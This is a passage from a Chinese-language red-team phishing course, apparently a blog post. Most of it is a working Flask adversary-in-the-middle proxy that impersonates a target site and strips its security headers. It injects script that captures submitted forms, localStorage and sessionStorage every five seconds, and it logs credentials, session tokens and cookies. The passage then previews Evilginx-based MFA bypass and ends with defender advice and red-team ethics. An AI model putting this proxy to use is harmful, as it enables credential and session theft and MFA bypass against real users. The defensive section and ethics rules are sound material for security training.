a['href'] = a['href'].replace(TARGET_ORIGIN, PHISHING_ORIGIN)
# 替换所有脚本和资源URL
for tag in soup.find_all(['script', 'img', 'link']):
for attr in ['src', 'href']:
if tag.get(attr) and TARGET_ORIGIN in tag.get(attr):
tag[attr] = tag[attr].replace(TARGET_ORIGIN, PHISHING_ORIGIN)
# 注入JavaScript钩子
hook_script = soup.new_tag('script')
hook_script.string = """
// 捕获表单提交
document.addEventListener('submit', function(e) {
var form = e.target;
var formData = new FormData(form);
var data = {};
for (var pair of formData.entries()) {
data[pair[0]] = pair[1];
}
// 发送凭据到后台
fetch('/log-credentials', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
});
// 捕获localStorage和sessionStorage
setInterval(function() {
var data = {
localStorage: {},
sessionStorage: {}
};
for (var i = 0; i < localStorage.length; i++) {
var key = localStorage.key(i);
data.localStorage[key] = localStorage.getItem(key);
}
for (var i = 0; i < sessionStorage.length; i++) {
var key = sessionStorage.key(i);
data.sessionStorage[key] = sessionStorage.getItem(key);
}
fetch('/log-storage', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
}, 5000);
"""
soup.head.append(hook_script)
return str(soup)
elif 'application/json' in content_type:
# 尝试修改JSON中的URL
content_str = content.decode('utf-8')
content_str = content_str.replace(TARGET_ORIGIN, PHISHING_ORIGIN)
return content_str.encode('utf-8')
elif 'text/javascript' in content_type:
# 修改JavaScript中的URL
content_str = content.decode('utf-8')
content_str = content_str.replace(TARGET_ORIGIN, PHISHING_ORIGIN)
return content_str.encode('utf-8')
return content
def modify_headers(headers):
"""修改请求/响应头"""
# 创建可修改的头部副本
modified_headers = dict(headers)
# 删除安全相关头部
security_headers = [
'Content-Security-Policy',
'X-Frame-Options',
'X-Content-Type-Options',
'Strict-Transport-Security'
]
for header in security_headers:
if header in modified_headers:
del modified_headers[header]
# 处理重定向位置
if 'Location' in modified_headers:
modified_headers['Location'] = modified_headers['Location'].replace(
TARGET_ORIGIN, PHISHING_ORIGIN
)
return modified_headers
@app.route('/log-credentials', methods=['POST'])
def log_credentials():
"""记录用户提交的凭据"""
data = request.json
logger.info(f"捕获凭据: {data}")
captured_data['credentials'].append({
'timestamp': time.time(),
'ip': request.remote_addr,
'data': data
})
return ''
@app.route('/log-storage', methods=['POST'])
def log_storage():
"""记录localStorage和sessionStorage数据"""
data = request.json
# 检查是否有令牌
for storage_type in ['localStorage', 'sessionStorage']:
for key, value in data.get(storage_type, {}).items():
if 'token' in key.lower() or 'auth' in key.lower() or 'session' in key.lower():
logger.info(f"可能的会话令牌: {key} = {value[:30]}...")
captured_data['tokens'].append({
'timestamp': time.time(),
'storage_type': storage_type,
'key': key,
'value': value
})
return ''
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'HEAD', 'PATCH'])
def proxy(path):
"""代理所有请求到目标服务器"""
# 构建目标URL
target_url = f"{TARGET_ORIGIN}/{path}"
# 获取并修改请求头
headers = dict(request.headers)
# 删除可能导致问题的头部
for header in ['Host', 'Content-Length']:
if header in headers:
del headers[header]
# 修改引用头
if 'Referer' in headers:
headers['Referer'] = headers['Referer'].replace(PHISHING_ORIGIN, TARGET_ORIGIN)
if 'Origin' in headers:
headers['Origin'] = TARGET_ORIGIN
# 发起请求到目标服务器
resp = requests.request(
method=request.method,
url=target_url,
headers=headers,
params=request.args,
data=request.get_data(),
cookies=request.cookies,
allow_redirects=False
)
# 捕获和存储cookie
if resp.cookies:
for cookie in resp.cookies:
logger.info(f"捕获Cookie: {cookie.name}")
captured_data['cookies'][cookie.name] = {
'value': cookie.value,
'domain': cookie.domain,
'path': cookie.path,
'expires': cookie.expires
}
# 修改响应头
response_headers = modify_headers(resp.headers)
# 修改响应内容
content = modify_content(resp.content, resp.headers.get('Content-Type', ''))
# 构建Flask响应
response = Response(
content if isinstance(content, bytes) else content.encode('utf-8'),
status=resp.status_code
)
# 设置响应头
for name, value in response_headers.items():
if name.lower() != 'content-length': # 让Flask自动设置正确的内容长度
response.headers[name] = value
return response
if __name__ == "__main__":
app.run(host="0.0.0.0", port=443, ssl_context=("cert.pem", "key.pem"))这个代码示例展示了一个AiTM代理服务器的基本工作原理：
将所有请求代理到真实服务器
修改响应内容，替换所有目标域名引用
注入JavaScript代码捕获用户输入和存储的令牌
中继身份验证流程，包括MFA验证
捕获并存储有价值的凭据和会话令牌
6. 预告：Model和Evilginx高级钓鱼框架
课程的下一部分将深入介绍两个现代高级钓鱼框架：Model和Evilginx。这些工具代表了钓鱼技术的最新发展，尤其擅长绕过现代多因素认证(MFA)系统。
6.1 Model框架概述
Model是一个基于反向代理的高级钓鱼框架，专为绕过现代身份验证系统设计。其主要特点包括：
透明的请求和响应修改，无缝中继身份验证过程
会话令牌自动捕获和会话劫持能力
内置的AiTM技术，支持实时双向通信
支持多种身份验证系统，包括OAuth和SAML
6.2 Evilginx框架介绍
Evilginx是另一个功能强大的钓鱼框架，使用反向代理技术窃取会话cookie和令牌：
针对主流身份提供商（如Microsoft, Google, Okta）的预配置钓鱼模板
自动HTTPS证书管理和域名设置
通过DNS配置隐藏真实IP地址
会话追踪和管理功能
6.3 预期学习成果
在下一次课程中，我们将通过实际操作展示如何：
设置和配置Model/Evilginx环境
创建针对特定目标的钓鱼代理
绕过现代MFA系统并捕获有效会话
获取和维持内网立足点
安全地管理钓鱼基础设施
7. 总结与最佳实践
7.1 钓鱼攻击技术总结
本课程涵盖了从基础到高级的多种钓鱼技术：
邮件基础知识：深入理解邮件结构、字段和协议交互
Swaks工具应用：熟练使用命令行工具构建和测试钓鱼邮件
GoPhish框架：项目化管理钓鱼活动，从模板创建到数据捕获
基础设施安全：建立匿名、安全的钓鱼基础设施
高级绕过技术：会话中继、OAuth攻击和AiTM代理
7.2 防御者最佳实践
虽然本课程侧重于攻击技术，但了解以下防御措施对于全面理解钓鱼威胁同样重要：
技术防御层:
实施严格的SPF、DKIM和DMARC策略
部署基于机器学习的邮件过滤系统
使用高级威胁防护(ATP)解决方案扫描链接和附件
对所有关键系统启用多因素认证(MFA)
实施针对AiTM攻击的会话监控和异常检测
人员安全意识:
定期进行钓鱼意识培训
模拟钓鱼测试以评估组织防御能力
建立明确的可疑邮件报告流程
培养质疑敏感请求的文化，特别是涉及凭据和资金的请求
7.3 红队伦理准则
作为负责任的网络安全专业人员，应遵循以下伦理准则：
获得适当授权：只在获得明确授权的范围内进行钓鱼测试
定义明确边界：事先确定测试的范围、时间和限制
避免过度中断：测试应评估安全性，而不是破坏正常业务运营
保护个人数据：妥善处理测试过程中可能收集到的个人信息
提供建设性反馈：测试后提供详细报告和可行的改进建议
7.4 持续学习与发展
钓鱼技术和防御措施不断发展，要保持最新知识，应：
关注安全研究社区的最新发现
研究新型身份验证系统及其潜在弱点
了解新兴的社会工程学技术和心理学原理
参与合法的漏洞赏金项目和CTF竞赛
与其他安全专业人员交流经验和知识
记住，真正的安全专业人员不仅了解攻击技术，还理解如何构建更强大的防御系统，以保护组织免受这些攻击。
-.-
评论区